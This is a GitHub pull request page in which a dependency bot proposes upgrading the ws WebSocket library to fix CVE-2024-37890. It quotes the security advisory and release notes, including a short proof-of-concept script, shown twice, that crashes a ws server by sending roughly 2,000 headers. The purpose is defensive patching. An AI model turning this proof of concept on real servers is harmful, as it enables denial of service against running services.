Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update dependency ws to v8.17.1 [security] - autoclosed #6622

Closed
wants to merge 1 commit into from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Oct 4, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
ws 8.16.0 -> 8.17.1 age adoption passing confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (websockets/ws@e55e510) and backported to [email protected] (websockets/ws@22c2876), [email protected] (websockets/ws@eeb76d3), and [email protected] (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References


Release Notes

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

  • The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link

github-actions bot commented Oct 4, 2024

Hey there and thank you for opening this pull request! 👋

We require pull request titles to follow the Conventional Commits specification and it looks like your proposed title needs to be adjusted.

Your PR title is: fix(deps): update dependency ws to v8.17.1 [security] - autoclosed
It should be something like: feat(scope): Add fancy new feature

Details:

Unknown scope "deps" found in pull request title "fix(deps): update dependency ws to v8.17.1 [security] - autoclosed". Scope must match one of: root, api, dashboard, inbound-mail, web, webhook, widget, worker, ws, ee-auth, ee-billing, ee-dal, ee-shared-services, ee-translation, application-generic, automation, dal, design-system, embed, novui, testing, client, framework, headless, js, nest, nextjs, node, notification-center, novu, providers, react, react-native, shared, stateless, nestjs, nextjs.

Copy link

netlify bot commented Oct 4, 2024

Deploy Preview for novu-stg-vite-dashboard-poc ready!

Name Link
🔨 Latest commit 0d6f789
🔍 Latest deploy log https://app.netlify.com/sites/novu-stg-vite-dashboard-poc/deploys/67164049fcc0b7000778e1cd
😎 Deploy Preview https://deploy-preview-6622--novu-stg-vite-dashboard-poc.netlify.app
📱 Preview on mobile
Toggle QR Code...

QR Code

Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify site configuration.

@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 5245f95 to cf4d7d5 Compare October 4, 2024 14:11
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from cf4d7d5 to 4fb9098 Compare October 4, 2024 14:47
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 4fb9098 to 276a403 Compare October 4, 2024 15:11
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 276a403 to 86bae84 Compare October 4, 2024 17:05
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 86bae84 to e419f34 Compare October 4, 2024 19:03
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from e419f34 to 80d6b26 Compare October 4, 2024 19:44
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 80d6b26 to c31ff77 Compare October 6, 2024 13:11
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 8a2a53d to 062b6e7 Compare October 20, 2024 05:47
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 062b6e7 to 6f3824d Compare October 20, 2024 10:58
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 6f3824d to 4ff4fe2 Compare October 20, 2024 12:44
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 4ff4fe2 to d82a132 Compare October 20, 2024 19:46
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from d82a132 to 84c88c9 Compare October 21, 2024 09:06
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 84c88c9 to ef96239 Compare October 21, 2024 10:07
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from ef96239 to 0d6f789 Compare October 21, 2024 11:51
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws to v8.17.1 [security] - autoclosed Oct 21, 2024
@renovate renovate bot closed this Oct 21, 2024
@renovate renovate bot deleted the renovate/npm-ws-vulnerability branch October 21, 2024 12:26
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants